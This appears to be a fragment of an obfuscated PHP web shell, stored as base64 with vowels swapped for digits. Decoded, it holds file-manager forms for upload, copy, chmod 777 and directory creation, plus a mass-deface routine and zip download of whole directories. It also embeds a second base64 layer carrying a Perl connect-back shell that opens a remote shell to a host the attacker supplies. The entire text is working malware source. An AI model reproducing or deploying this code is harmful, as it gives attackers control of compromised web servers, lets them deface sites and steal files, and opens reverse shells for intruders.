ucDN0IG4xbTU9Y2Q0cm4xbTUgczR6NT1hMD4nLiRuMncxZGRyNXNzLicgPDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSIgQ3I1MXQ1ICI+PC9mMnJtPjwvdGQ+PC90cj48dHI+DQo8dGQgdzRkdGg9ImEwMCIgMWw0Z249InI0Z2h0IiB2MWw0Z249InQycCIgc3R5bDU9ImIycmQ1ci1sNWZ0LXc0ZHRoOiA2cHg7IGIycmQ1ci1yNGdodC13NGR0aDogNnB4OyBiMnJkNXItdDJwLXc0ZHRoOiA2cHg7IGIycmQ1ci1iMnR0Mm06IDZweCBzMmw0ZCAjODA4MDgwIj4NCjxmMm50IGYxYzU9IlQxaDJtMSIgc3R5bDU9ImYybnQtczR6NTogNjBwdCI+Jy4kZjJybXAuJzxiPkNyNTF0NSBGNGw1IC0tLS0mZ3Q7PC9iPiBOMW01IEY0bDUgPC90ZD4NCjx0ZCB3NGR0aD0iN2kwIiBzdHlsNT0iYjJyZDVyLWw1ZnQtdzRkdGg6IDZweDsgYjJyZDVyLXI0Z2h0LXc0ZHRoOiA2cHg7IGIycmQ1ci10MnAtdzRkdGg6IDZweDsgYjJyZDVyLWIydHQybTogNnB4IHMybDRkICM4MDgwODAiPg0KPGYybnQgZjFjNT0iVDFoMm0xIiBzdHlsNT0iZjJudC1zNHo1OiA2MHB0Ij48NG5wM3QgbjFtNT1jZjRsNW4xbTUgczR6NT1hMD4nLiRuMncxZGRyNXNzLicgPDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSIgQ3I1MXQ1ICI+PC9mMnJtPjwvdGQ+PC90cj48dHI+DQo8dGQgdzRkdGg9ImEwMCIgMWw0Z249InI0Z2h0IiB2MWw0Z249InQycCI+DQo8ZjJudCBmMWM1PSJUMWgybTEiIHN0eWw1PSJmMm50LXM0ejU6IDYwcHQiPicuJGYycm1wLic8Yj5DMnB5IC0tLS0mZ3Q7PC9iPjwvYj4mbmJzcDsmbmJzcDtGNGw1IDogPC90ZD4NCjx0ZCB3NGR0aD0iN2kwIj48ZjJudCBmMWM1PSJUMWgybTEiIHN0eWw1PSJmMm50LXM0ejU6IDYwcHQiPg0KPDRucDN0IHM0ejU9dTAgbjFtNT1jMnB5bjFtNT4gVDIgRDRyNWN0MnJ5IDw0bnAzdCBzNHo1PXUwIG4xbTU9Y3B5dDI+IDw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNSA9QzJweT48L2Yycm0+PC90ZD4nLiQ1bmQ7NXg0dDsNCn19DQo0ZigkX0dFVFsnZDInXT09Im0xc3MiKXsNCjVjaDIgJGg1MWQuJGYycm1wLic8cCAxbDRnbj0iYzVudDVyIj5bTTFzcyBENWYxYzVdPGJyPjw0bnAzdCBuMW01PW1mZncgdjFsMzU9IicuZzV0Y3dkKCkuJHNsMXNoLiciIHM0ejU9aTA+PDRucDN0IG4xbTU9bTFzc24xbTUgdjFsMzU9ImQ1Zi5odG0iIHM0ejU9NjA+PGJyPjx0NXh0MXI1MSBuMW01PW0xc3NzMjNyYzUgYzJscz1lMCByMndzPTY4PlMyM3JjNTwvdDV4dDFyNTE+PGJyPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iICBNMXNzICAiPjwvZjJybT48L3A+Jy4kNW5kOzV4NHQ7DQp9DQo0ZiAoJF9QT1NUWydtZmZ3J10pew0KJDFycmY0bDVsNHN0PWQ0cnBtMXNzKCRfUE9TVFsnbWZmdyddLCRfUE9TVFsnbTFzc24xbTUnXSwkX1BPU1RbJ20xc3NzMjNyYzUnXSk7DQo0ZiAoJDFycmY0bDVsNHN0PT0nbjJ0ZjIzbmQnKXsNCjFsNXJ0KCJOMnQgRjIzbmQgISIpOw0KfTVsczU0ZigkMXJyZjRsNWw0c3Q9PSduMnRwNXJtJyl7DQoxbDVydCgiUDVybTRzczQybiBENW40NWQgISIpOw0KfTVsczV7DQpmMnI1MWNoICgkMXJyZjRsNWw0c3QgMXMgJHRtcGQ0cil7DQoJCTRmICgkYzI0ICVhKXsNCiRjMmwycnQ9JyIjNTc1b2Q1Iic7DQp9NWxzNXsNCiRjMmwycnQ9JyIjNXU1NmQ1Iic7fQ0KJGMyNCsrOw0KJHA1cm1kNHI9JHA1cm1kNHIuJzx0MWJsNSBjNWxscDFkZDRuZz0iMCIgYzVsbHNwMWM0bmc9IjAiIHN0eWw1PSJiMnJkNXItc3R5bDU6IGQydHQ1ZDsgYjJyZDVyLXc0ZHRoOiA2cHgiIGIycmQ1cmMybDJyPSIjQ0RDRENEIiBiZ2MybDJyPScuJGMybDJydC4nIHc0ZHRoPSI5aTAiIGg1NGdodD0iYTAiIGQ0cj0ibHRyIj4NCjx0cj48dGQgdjFsNGduPSJ0MnAiIGg1NGdodD0iNjkiIHc0ZHRoPSI4dWEiPjxwIDFsNGduPSJsNWZ0Ij48c3AxbiBsMW5nPSI1bi0zcyI+PGYybnQgZjFjNT0iVDFoMm0xIiBzdHlsNT0iZjJudC1zNHo1OiA5cHQiPjwxIGhyNWY9Ij8xZGRyNXNzPScuJHRtcGQ0clsnZjRsNW4xbTUnXS4nIj48Yj4nLiR0bXBkNHJbJ2Y0bDVuMW01J10uJzwvYj48L3NwMW4+PC90ZD4NCjx0ZCB2MWw0Z249InQycCIgaDU0Z2h0PSI2OSIgdzRkdGg9ImVpIj48ZjJudCBmMWM1PSJUMWgybTEiIHN0eWw1PSJmMm50LXM0ejU6IDlwdCI+PC90ZD48dGQgdjFsNGduPSJ0MnAiIGg1NGdodD0iNjkiIHc0ZHRoPSJvMCI+PGYybnQgZjFjNT0iVDFoMm0xIiBzdHlsNT0iZjJudC1zNHo1OiA5cHQiPjwvdGQ+PHRkIHYxbDRnbj0idDJwIiBoNTRnaHQ9IjY5IiB3NGR0aD0iYWEiPjxmMm50IGYxYzU9IlQxaDJtMSIgc3R5bDU9ImYybnQtczR6NTogOXB0Ij48L3RkPjx0ZCB2MWw0Z249InQycCIgaDU0Z2h0PSI2OSIgdzRkdGg9Im8wIj48ZjJudCBmMWM1PSJUMWgybTEiIHN0eWw1PSJmMm50LXM0ejU6IDlwdCI+PC90ZD4NCjx0ZCB2MWw0Z249InQycCIgaDU0Z2h0PSI2OSIgdzRkdGg9Im8wIj48ZjJudCBmMWM1PSJUMWgybTEiIHN0eWw1PSJmMm50LXM0ejU6IDlwdCI+PC90ZD48L3RyPjwvdDFibDU+JzsNCn0NCjVjaDIgJGg1MWQuJw0KPGYybnQgZjFjNT0iVDFoMm0xIiBzdHlsNT0iZjJudC1zNHo1OiBlcHQiPjx0MWJsNSBjNWxscDFkZDRuZz0iMCIgYzVsbHNwMWM0bmc9IjAiIHN0eWw1PSJiMnJkNXItc3R5bDU6IGQydHQ1ZDsgYjJyZDVyLXc0ZHRoOiA2cHgiIGIycmQ1cmMybDJyPSIjQ0RDRENEIiB3NGR0aD0iOWkwIiBoNTRnaHQ9ImEwIiBkNHI9Imx0ciI+DQo8dHI+PHRkIHYxbDRnbj0idDJwIiBoNTRnaHQ9IjY5IiB3NGR0aD0iOHVhIj48cCAxbDRnbj0ibDVmdCI+PHNwMW4gbDFuZz0iNW4tM3MiPjxmMm50IGYxYzU9IlQxaDJtMSIgc3R5bDU9ImYybnQtczR6NTogOXB0Ij48ZjJudCBjMmwycj0jdTE3MWZ1Pk4ydyBENHI1Y3QycnkgOiAnLmc1dGN3ZCgpLiI8YnI+Ii5wcjRudGRyNHY1KCkuJzxicj48MSBocjVmPSI/ZDI9YjFjayYxZGRyNXNzPScuJGIxY2sxZGRyNXNzcy4nIj48ZjJudCBjMmwycj0jMDAwMDAwPkIxY2s8L3NwMW4+PC90ZD4NCjwvdHI+PC90MWJsNT4nLiRwNXJtZDRyLic8L3QxYmw1Pg0KPHQxYmw1IGIycmQ1cj0iMCIgdzRkdGg9IjlpMCIgc3R5bDU9ImIycmQ1ci1jMmxsMXBzNTogYzJsbDFwczUiIDRkPSJ0MWJsNXUiIGM1bGxwMWRkNG5nPSJpIj48dHI+DQo8dGQgdzRkdGg9ImEwMCIgMWw0Z249InI0Z2h0IiB2MWw0Z249InQycCIgc3R5bDU9ImIycmQ1ci1sNWZ0LXc0ZHRoOiA2cHg7IGIycmQ1ci1yNGdodC13NGR0aDogNnB4OyBiMnJkNXItdDJwLXc0ZHRoOiA2cHg7IGIycmQ1ci1iMnR0Mm06IDZweCBzMmw0ZCAjODA4MDgwIj4NCjxmMm50IGYxYzU9IlQxaDJtMSIgc3R5bDU9ImYybnQtczR6NTogNjBwdDsgZjJudC13NTRnaHQ6NzAwIj48YnI+Jy4kZjJybWcuJ0NoMW5nNSBENHI1Y3Qycnk8L2YybnQ+PC90ZD4NCjx0ZCB3NGR0aD0iN2kwIiBzdHlsNT0iYjJyZDVyLWw1ZnQtdzRkdGg6IDZweDsgYjJyZDVyLXI0Z2h0LXc0ZHRoOiA2cHg7IGIycmQ1ci10MnAtdzRkdGg6IDZweDsgYjJyZDVyLWIydHQybTogNnB4IHMybDRkICM4MDgwODAiPjw0bnAzdCBuMW01PTFkZHI1c3MgdjFsMzU9Jy5nNXRjd2QoKS4nPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iRzIiPjwvZjJybT48L3RkPjwvdHI+PHRyPg0KPHRkIHc0ZHRoPSJhMDAiIDFsNGduPSJyNGdodCIgdjFsNGduPSJ0MnAiIHN0eWw1PSJiMnJkNXItbDVmdC13NGR0aDogNnB4OyBiMnJkNXItcjRnaHQtdzRkdGg6IDZweDsgYjJyZDVyLXQycC13NGR0aDogNnB4OyBiMnJkNXItYjJ0dDJtOiA2cHggczJsNGQgIzgwODA4MCI+DQo8ZjJudCBmMWM1PSJUMWgybTEiIHN0eWw1PSJmMm50LXM0ejU6IDYwcHQ7IGYybnQtdzU0Z2h0OjcwMCI+VXBsMjFkIC0tLSZndDsgJm5ic3A7PC90ZD4NCjx0ZCB3NGR0aD0iN2kwIiBzdHlsNT0iYjJyZDVyLWw1ZnQtdzRkdGg6IDZweDsgYjJyZDVyLXI0Z2h0LXc0ZHRoOiA2cHg7IGIycmQ1ci10MnAtdzRkdGg6IDZweDsgYjJyZDVyLWIydHQybTogNnB4IHMybDRkICM4MDgwODAiPg0KPGYycm0gMWN0NDJuPSInLiRtNS4nIiBtNXRoMmQ9cDJzdCA1bmN0eXA1PW0zbHQ0cDFydC9mMnJtLWQxdDE+Jy4kbjJ3MWRkcjVzcy4nDQo8ZjJudCBmMWM1PSJUMWgybTEiIHN0eWw1PSJmMm50LXM0ejU6IDYwcHQiPjw0bnAzdCBzNHo1PXUwIHR5cDU9ZjRsNSBuMW01PWY0bDU1ID4gDQo8NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9VXBsMjFkIC8+PGJyPicuJDRmM3BsMjFkLic8L2Yycm0+PC90ZD48L3RyPjx0cj4NCjx0ZCB3NGR0aD0iYTAwIiAxbDRnbj0icjRnaHQiIHYxbDRnbj0idDJwIiBzdHlsNT0iYjJyZDVyLWw1ZnQtdzRkdGg6IDZweDsgYjJyZDVyLXI0Z2h0LXc0ZHRoOiA2cHg7IGIycmQ1ci10MnAtdzRkdGg6IDZweDsgYjJyZDVyLWIydHQybTogNnB4IHMybDRkICM4MDgwODAiPg0KPGYybnQgZjFjNT0iVDFoMm0xIiBzdHlsNT0iZjJudC1zNHo1OiA2MHB0Ij48Yj4nLiRmMnJtcC4nQ2htMmQgLS0tLSZndDs8L2I+Jm5ic3A7Jm5ic3A7RjRsNSA6IDwvdGQ+DQo8dGQgdzRkdGg9IjdpMCIgc3R5bDU9ImIycmQ1ci1sNWZ0LXc0ZHRoOiA2cHg7IGIycmQ1ci1yNGdodC13NGR0aDogNnB4OyBiMnJkNXItdDJwLXc0ZHRoOiA2cHg7IGIycmQ1ci1iMnR0Mm06IDZweCBzMmw0ZCAjODA4MDgwIj4NCjxmMm50IGYxYzU9IlQxaDJtMSIgc3R5bDU9ImYybnQtczR6NTogNjBwdCI+PGYycm0gbTV0aDJkPXAyc3QgMWN0NDJuPS9uMndhLnBocD48NG5wM3QgczR6NT1paSBuMW01PWNobTJkNT4mbmJzcDsmbmJzcDtQNXJtNHNzNDJuIDogPDRucDN0IG4xbTU9Y2htMmRuM20gdjFsMzU9Nzc3IHM0ejU9bz4gPDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSIgT2sgIj48L2Yycm0+PC90ZD48L3RyPjx0cj4NCjx0ZCB3NGR0aD0iYTAwIiAxbDRnbj0icjRnaHQiIHYxbDRnbj0idDJwIiBzdHlsNT0iYjJyZDVyLWw1ZnQtdzRkdGg6IDZweDsgYjJyZDVyLXI0Z2h0LXc0ZHRoOiA2cHg7IGIycmQ1ci10MnAtdzRkdGg6IDZweDsgYjJyZDVyLWIydHQybTogNnB4IHMybDRkICM4MDgwODAiPg0KPGYybnQgZjFjNT0iVDFoMm0xIiBzdHlsNT0iZjJudC1zNHo1OiA2MHB0Ij48Yj4nLiRmMnJtcC4nQ3I1MXQ1IEQ0ciAtLS0tJmd0OzwvYj4gRDRyY3QycnkgTjFtNSA8L3RkPg0KPHRkIHc0ZHRoPSI3aTAiIHN0eWw1PSJiMnJkNXItbDVmdC13NGR0aDogNnB4OyBiMnJkNXItcjRnaHQtdzRkdGg6IDZweDsgYjJyZDVyLXQycC13NGR0aDogNnB4OyBiMnJkNXItYjJ0dDJtOiA2cHggczJsNGQgIzgwODA4MCI+DQo8ZjJudCBmMWM1PSJUMWgybTEiIHN0eWw1PSJmMm50LXM0ejU6IDYwcHQiPg0KPDRucDN0IG4xbTU9Y2Q0cm4xbTUgczR6NT1hMD4nLiRuMncxZGRyNXNzLicgPDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSIgQ3I1MXQ1ICI+PC9mMnJtPjwvdGQ+PC90cj48dHI+DQo8dGQgdzRkdGg9ImEwMCIgMWw0Z249InI0Z2h0IiB2MWw0Z249InQycCIgc3R5bDU9ImIycmQ1ci1sNWZ0LXc0ZHRoOiA2cHg7IGIycmQ1ci1yNGdodC13NGR0aDogNnB4OyBiMnJkNXItdDJwLXc0ZHRoOiA2cHg7IGIycmQ1ci1iMnR0Mm06IDZweCBzMmw0ZCAjODA4MDgwIj4NCjxmMm50IGYxYzU9IlQxaDJtMSIgc3R5bDU9ImYybnQtczR6NTogNjBwdCI+Jy4kZjJybXAuJzxiPkNyNTF0NSBGNGw1IC0tLS0mZ3Q7PC9iPiBOMW01IEY0bDUgPC90ZD4NCjx0ZCB3NGR0aD0iN2kwIiBzdHlsNT0iYjJyZDVyLWw1ZnQtdzRkdGg6IDZweDsgYjJyZDVyLXI0Z2h0LXc0ZHRoOiA2cHg7IGIycmQ1ci10MnAtdzRkdGg6IDZweDsgYjJyZDVyLWIydHQybTogNnB4IHMybDRkICM4MDgwODAiPg0KPGYybnQgZjFjNT0iVDFoMm0xIiBzdHlsNT0iZjJudC1zNHo1OiA2MHB0Ij48NG5wM3QgbjFtNT1jZjRsNW4xbTUgczR6NT1hMD4nLiRuMncxZGRyNXNzLicgPDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSIgQ3I1MXQ1ICI+PC9mMnJtPjwvdGQ+PC90cj48dHI+DQo8dGQgdzRkdGg9ImEwMCIgMWw0Z249InI0Z2h0IiB2MWw0Z249InQycCI+DQo8ZjJudCBmMWM1PSJUMWgybTEiIHN0eWw1PSJmMm50LXM0ejU6IDYwcHQiPicuJGYycm1wLic8Yj5DMnB5IC0tLS0mZ3Q7PC9iPjwvYj4mbmJzcDsmbmJzcDtGNGw1IDogPC90ZD4NCjx0ZCB3NGR0aD0iN2kwIj48ZjJudCBmMWM1PSJUMWgybTEiIHN0eWw1PSJmMm50LXM0ejU6IDYwcHQiPg0KPDRucDN0IHM0ejU9dTAgbjFtNT1jMnB5bjFtNT4gVDIgRDRyNWN0MnJ5IDw0bnAzdCBzNHo1PXUwIG4xbTU9Y3B5dDI+IDw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNSA9QzJweT48L2Yycm0+PC90ZD4nLiQ1bmQ7NXg0dDsNCn19DQo0ZigkX1BPU1RbJzFkbHInXSAmJiAkX1BPU1RbJzFkc3InXSl7DQokM3JsID0gJF9QT1NUWycxZGxyJ107DQokbjV3Zm4xbTUgPSAkX1BPU1RbJzFkc3InXSAuIGIxczVuMW01KCQzcmwpOw0KJGY0bDUgPSBmMnA1biAoJDNybCwgInJiIik7DQo0ZiAoJGY0bDUpIHsNCiAgJG41d2YgPSBmMnA1biAoJG41d2ZuMW01LCAid2IiKTsNCiAgNGYgKCRuNXdmKQ0KICB3aDRsNSghZjUyZigkZjRsNSkpIHsNCiAgICBmd3I0dDUoJG41d2YsIGZyNTFkKCRmNGw1LCA2MGF1ICogOCApLCA2MGF1ICogOCApOw0KICB9DQogIDFsNXJ0KCJGNGw1IEQyd25sMjFkNWQgUzNjYzVzcyIpOw0KfTVsczV7MWw1cnQoIkMxbiBOMnQgT3A1biBGNGw1Iik7fQ0KNGYgKCRmNGw1KSB7DQogIGZjbDJzNSgkZjRsNSk7DQp9DQo0ZiAoJG41d2YpIHsNCiAgZmNsMnM1KCRuNXdmKTsNCn0NCn0NCjRmKCRfR0VUWydkMiddPT0iZDJ3biIgMW5kICRfR0VUWyd0eXA1J109PSdmNGw1Jyl7DQpkMndubDIxZCgkX0dFVFsnMWRkcjVzcyddLCRfR0VUWydmNGw1bjFtNSddKTt9DQo0ZigkX0dFVFsnZDInXT09ImQyd24iIDFuZCAkX0dFVFsndHlwNSddPT0nZDRyJyl7DQpjbDFzcyB6NHBmNGw1DQp7DQp2MXIgJGQxdDFzNWMgPSAxcnIxeSgpOyANCnYxciAkY3RybF9kNHIgPSAxcnIxeSgpOyANCnYxciAkNTJmX2N0cmxfZDRyID0gIlx4aTBceHViXHgwaVx4MGVceDAwXHgwMFx4MDBceDAwIjsNCnYxciAkMmxkXzJmZnM1dCA9IDA7DQpmM25jdDQybiAxZGRfZDRyKCRuMW01KQ0Kew0KJG4xbTUgPSBzdHJfcjVwbDFjNSgiXFwiLCAiLyIsICRuMW01KTsNCiRmciA9ICJceGkwXHh1Ylx4MG9ceDB1IjsNCiRmciAuPSAiXHgwMVx4MDAiOw0KJGZyIC49ICJceDAwXHgwMCI7DQokZnIgLj0gIlx4MDBceDAwIjsNCiRmciAuPSAiXHgwMFx4MDBceDAwXHgwMCI7DQokZnIgLj0gcDFjaygiViIsMCk7DQokZnIgLj0gcDFjaygiViIsMCk7DQokZnIgLj0gcDFjaygiViIsMCk7DQokZnIgLj0gcDFjaygidiIsIHN0cmw1bigkbjFtNSkgKTsgDQokZnIgLj0gcDFjaygidiIsIDAgKTsNCiRmciAuPSAkbjFtNTsNCiRmciAuPSBwMWNrKCJWIiwkY3JjKTsgDQokZnIgLj0gcDFjaygiViIsJGNfbDVuKTsgDQokZnIgLj0gcDFjaygiViIsJDNuY19sNW4pOw0KJHRoNHMgLT4gZDF0MXM1Y1tdID0gJGZyOw0KJG41d18yZmZzNXQgPSBzdHJsNW4oNG1wbDJkNSgiIiwgJHRoNHMtPmQxdDFzNWMpKTsNCiRjZHI1YyA9ICJceGkwXHh1Ylx4MDZceDBhIjsNCiRjZHI1YyAuPSJceDAwXHgwMCI7IA0KJGNkcjVjIC49Ilx4MDFceDAwIjsgDQokY2RyNWMgLj0iXHgwMFx4MDAiOyANCiRjZHI1YyAuPSJceDAwXHgwMCI7IA0KJGNkcjVjIC49Ilx4MDBceDAwXHgwMFx4MDAiOyANCiRjZHI1YyAuPSBwMWNrKCJWIiwwKTsgDQokY2RyNWMgLj0gcDFjaygiViIsMCk7IA0KJGNkcjVjIC49IHAxY2soIlYiLDApOyANCiRjZHI1YyAuPSBwMWNrKCJ2Iiwgc3RybDVuKCRuMW01KSApOw0KJGNkcjVjIC49IHAxY2soInYiLCAwICk7DQokY2RyNWMgLj0gcDFjaygidiIsIDAgKTsgDQokY2RyNWMgLj0gcDFjaygidiIsIDAgKTsgDQokY2RyNWMgLj0gcDFjaygidiIsIDAgKTsgDQokNXh0ID0gIlx4MDBceDAwXHg2MFx4MDAiOw0KJDV4dCA9ICJceGZmXHhmZlx4ZmZceGZmIjsNCiRjZHI1YyAuPSBwMWNrKCJWIiwgNmUgKTsNCiRjZHI1YyAuPSBwMWNrKCJWIiwgJHRoNHMgLT4gMmxkXzJmZnM1dCApOw0KJHRoNHMgLT4gMmxkXzJmZnM1dCA9ICRuNXdfMmZmczV0Ow0KJGNkcjVjIC49ICRuMW01Ow0KJHRoNHMgLT4gY3RybF9kNHJbXSA9ICRjZHI1YzsNCn0NCmYzbmN0NDJuIDFkZF9mNGw1KCRkMXQxLCAkbjFtNSkNCnsNCiRuMW01ID0gc3RyX3I1cGwxYzUoIlxcIiwgIi8iLCAkbjFtNSk7DQokZnIgPSAiXHhpMFx4dWJceDBvXHgwdSI7DQokZnIgLj0gIlx4NnVceDAwIjsNCiRmciAuPSAiXHgwMFx4MDAiOw0KJGZyIC49ICJceDA4XHgwMCI7IA0KJGZyIC49ICJceDAwXHgwMFx4MDBceDAwIjsNCiQzbmNfbDVuID0gc3RybDVuKCRkMXQxKTsNCiRjcmMgPSBjcmNvYSgkZDF0MSk7DQokemQxdDEgPSBnemMybXByNXNzKCRkMXQxKTsNCiR6ZDF0MSA9IHMzYnN0ciggczNic3RyKCR6ZDF0MSwgMCwgc3RybDVuKCR6ZDF0MSkgLSB1KSwgYSk7DQokY19sNW4gPSBzdHJsNW4oJHpkMXQxKTsNCiRmciAuPSBwMWNrKCJWIiwkY3JjKTsNCiRmciAuPSBwMWNrKCJWIiwkY19sNW4pOw0KJGZyIC49IHAxY2soIlYiLCQzbmNfbDVuKTsNCiRmciAuPSBwMWNrKCJ2Iiwgc3RybDVuKCRuMW01KSApOw0KJGZyIC49IHAxY2soInYiLCAwICk7DQokZnIgLj0gJG4xbTU7DQokZnIgLj0gJHpkMXQxOw0KJGZyIC49IHAxY2soIlYiLCRjcmMpOw0KJGZyIC49IHAxY2soIlYiLCRjX2w1bik7IA0KJGZyIC49IHAxY2soIlYiLCQzbmNfbDVuKTsgDQokdGg0cyAtPiBkMXQxczVjW10gPSAkZnI7DQokbjV3XzJmZnM1dCA9IHN0cmw1big0bXBsMmQ1KCIiLCAkdGg0cy0+ZDF0MXM1YykpOw0KJGNkcjVjID0gIlx4aTBceHViXHgwNlx4MGEiOw0KJGNkcjVjIC49Ilx4MDBceDAwIjsNCiRjZHI1YyAuPSJceDZ1XHgwMCI7IA0KJGNkcjVjIC49Ilx4MDBceDAwIjsNCiRjZHI1YyAuPSJceDA4XHgwMCI7DQokY2RyNWMgLj0iXHgwMFx4MDBceDAwXHgwMCI7IA0KJGNkcjVjIC49IHAxY2soIlYiLCRjcmMpOyANCiRjZHI1YyAuPSBwMWNrKCJWIiwkY19sNW4pOyANCiRjZHI1YyAuPSBwMWNrKCJWIiwkM25jX2w1bik7IA0KJGNkcjVjIC49IHAxY2soInYiLCBzdHJsNW4oJG4xbTUpICk7DQokY2RyNWMgLj0gcDFjaygidiIsIDAgKTsgDQokY2RyNWMgLj0gcDFjaygidiIsIDAgKTsgDQokY2RyNWMgLj0gcDFjaygidiIsIDAgKTsgDQokY2RyNWMgLj0gcDFjaygidiIsIDAgKTsgDQokY2RyNWMgLj0gcDFjaygiViIsIG9hICk7IA0KJGNkcjVjIC49IHAxY2soIlYiLCAkdGg0cyAtPiAybGRfMmZmczV0ICk7DQokdGg0cyAtPiAybGRfMmZmczV0ID0gJG41d18yZmZzNXQ7DQokY2RyNWMgLj0gJG4xbTU7DQokdGg0cyAtPiBjdHJsX2Q0cltdID0gJGNkcjVjOw0KfQ0KZjNuY3Q0Mm4gZjRsNSgpIHsgDQokZDF0MSA9IDRtcGwyZDUoIiIsICR0aDRzIC0+IGQxdDFzNWMpOw0KJGN0cmxkNHIgPSA0bXBsMmQ1KCIiLCAkdGg0cyAtPiBjdHJsX2Q0cik7DQpyNXQzcm4NCiRkMXQxLg0KJGN0cmxkNHIuDQokdGg0cyAtPiA1MmZfY3RybF9kNHIuDQpwMWNrKCJ2IiwgczR6NTJmKCR0aDRzIC0+IGN0cmxfZDRyKSkuDQpwMWNrKCJ2IiwgczR6NTJmKCR0aDRzIC0+IGN0cmxfZDRyKSkuIA0KcDFjaygiViIsIHN0cmw1bigkY3RybGQ0cikpLiANCnAxY2soIlYiLCBzdHJsNW4oJGQxdDEpKS4gDQoiXHgwMFx4MDAiOw0KfQ0KfQ0KJGRsZjJsZDVyPSRfR0VUWycxZGRyNXNzJ10uJHNsMXNoLiRfR0VUWydkNHJuMW01J10uJHNsMXNoOw0KJHo0cGY0bDUgPSBuNXcgejRwZjRsNSgpOw0KZjNuY3Q0Mm4gZzV0X2Y0bDVzX2ZyMm1fZjJsZDVyKCRkNHI1Y3QycnksICRwM3RfNG50Mikgew0KZ2wyYjFsICR6NHBmNGw1Ow0KNGYgKCRoMW5kbDUgPSAycDVuZDRyKCRkNHI1Y3QycnkpKSB7DQp3aDRsNSAoZjFsczUgIT09ICgkZjRsNSA9IHI1MWRkNHIoJGgxbmRsNSkpKSB7DQo0ZiAoNHNfZjRsNSgkZDRyNWN0MnJ5LiRmNGw1KSkgew0KJGY0bDVDMm50NW50cyA9IGY0bDVfZzV0X2MybnQ1bnRzKCRkNHI1Y3QycnkuJGY0bDUpOw0KJHo0cGY0bDUtPjFkZF9mNGw1KCRmNGw1QzJudDVudHMsICRwM3RfNG50Mi4kZjRsNSk7DQp9IDVsczU0ZiAoJGY0bDUgIT0gJy4nIDFuZCAkZjRsNSAhPSAnLi4nIDFuZCA0c19kNHIoJGQ0cjVjdDJyeS4kZjRsNSkpIHsNCiR6NHBmNGw1LT4xZGRfZDRyKCRwM3RfNG50Mi4kZjRsNS4nLycpOw0KZzV0X2Y0bDVzX2ZyMm1fZjJsZDVyKCRkNHI1Y3QycnkuJGY0bDUuJy8nLCAkcDN0XzRudDIuJGY0bDUuJy8nKTsNCn0NCn0NCn0NCmNsMnM1ZDRyKCRoMW5kbDUpOw0KfQ0KJGQxdDVkbD1kMXQ1KCJ5LW0tZCIpOw0KZzV0X2Y0bDVzX2ZyMm1fZjJsZDVyKCRkbGYybGQ1ciwnJyk7DQpoNTFkNXIoIkMybnQ1bnQtRDRzcDJzNHQ0Mm46IDF0dDFjaG01bnQ7IGY0bDVuMW01PSIgLiAkX0dFVFsnZDRybjFtNSddLiItIi4kZDF0NWRsLiIuejRwIik7ICAgDQpoNTFkNXIoIkMybnQ1bnQtVHlwNTogMXBwbDRjMXQ0Mm4vZDJ3bmwyMWQiKTsNCmg1MWQ1cigiQzJudDVudC1MNW5ndGg6ICIgLiBzdHJsNW4oJHo0cGY0bDUgLT4gZjRsNSgpKSk7DQpmbDNzaCgpOw0KNWNoMiAkejRwZjRsNSAtPiBmNGw1KCk7IA0KJGY0bDVuMW01ID0gJF9HRVRbJ2Q0cm4xbTUnXS4iLSIuJGQxdDVkbC4iLno0cCI7DQokZmQgPSBmMnA1biAoJGY0bDVuMW01LCAid2IiKTsNCiQyM3QgPSBmd3I0dDUgKCRmZCwgJHo0cGY0bDUgLT4gZjRsNSgpKTsNCmZjbDJzNSAoJGZkKTsNCn0NCjRmICgkX1JFUVVFU1RbJ2NkNHJuMW01J10pew0KNGYobWtkNHIoJF9SRVFVRVNUWydjZDRybjFtNSddLCIwNzc3IikpezFsNXJ0KCJENHI1Y3QycnkgQ3I1MXQ1ZCAhIik7fTVsczV7MWw1cnQoIlA1cm00c3M0Mm4gRDVuNDVkICEiKTt9fQ0KZjNuY3Q0Mm4gYmNuKCQ0cGJjLCRwYmMpew0KJGJjcDVybD0iSXlFdmRYTnlMYUpwYjQ5d1pYSnNDNE1nUWE5M2JtVmpkRUpoWWF0VDFHVnNiQ0JwYjRCUVpYSnNMNEJUMUdGa2JvY3hNakFnTFNCbw0KTkdOck1XaW5MbU52YlEyS2RYTmxJRk52WWF0bGREc0tDNFIyYm9OMElEMGdKRUZTUjZaYk1GMDdDNFJ3Ym9KMElEMGdKRUZTUjZaYg0KTVYwN0NnMmdJQ0FnMVdZZ0tDRWtRVkpIVmxzd1hTa2c1dzJnSUhCeTFXaTBaNEE0V3lGZElGVnpZV2RsTzRCd1pYSnNJSE5qY21sdw0KZENpd2JDQThTRzl6ZER1Z1BGQnZjblErWEd1NE93MmdJR1Z1MVhRMk1TazdDbjBLY0hKcGJuUWdJbHNyWFNCRGJhaTNaV04wMVdpbg0KSUhSdklDUjJib04wWEd1NE93MmtjSEp2ZENBOUlHZGxkSEJ5Ym9SdllubDNZVzZsS0NkMFlvQW5LVHNnSXlCWmJvVWdZYUYzSUdOMg0KWVdpblpTQjAxR2x6SUdsbUlHaWxaV1J6SUdKbENuTnZZYXRsZENoVFJWSldSVklzSUZCR1gwbE9SVlFzSUZOUFEwdGZVNlJTUlVGTg0KTENBa2NISnZkQ2tnZkh3Z1pHbGxJQ2c0V3k2ZElGVjNZV0pzWlNCMGJ5QkRiYWkzWldOMElDRTRLVHNLMVdZZ0tDRmpiYWkzWldOMA0KS0ZORlVsWkZVNHdnY0dGajF5QTRVYWlCTkhndUk0d2dNNHdnSkhCdmNuUXNJR2wzWlhSZllYUnZiNGdrMUc5emRDa3BLU0I3WkdsbA0KS0NKYkxWMGdWV2loWW14bElIUnZJRU52Ym1pbFlvUWdJU0lwT28wS0lDQnZjR1YzS0ZOVVJFbE9MQ0krSmxORlVsWkZVNElwT3cyZw0KSUc5d1pXdTJVNlJFVDZWVUxDSStKbE5GVWxaRlU0SXBPdzJnSUc5d1pXdTJVNlJFUlZKU0xDSStKbE5GVWxaRlU0SXBPdzJnSUdWdQ0KWldNZzV5Y3ZZbWwzTG9OMkpvMGdKeTY0WVhOMkp5QTNJQ0pjTUNJ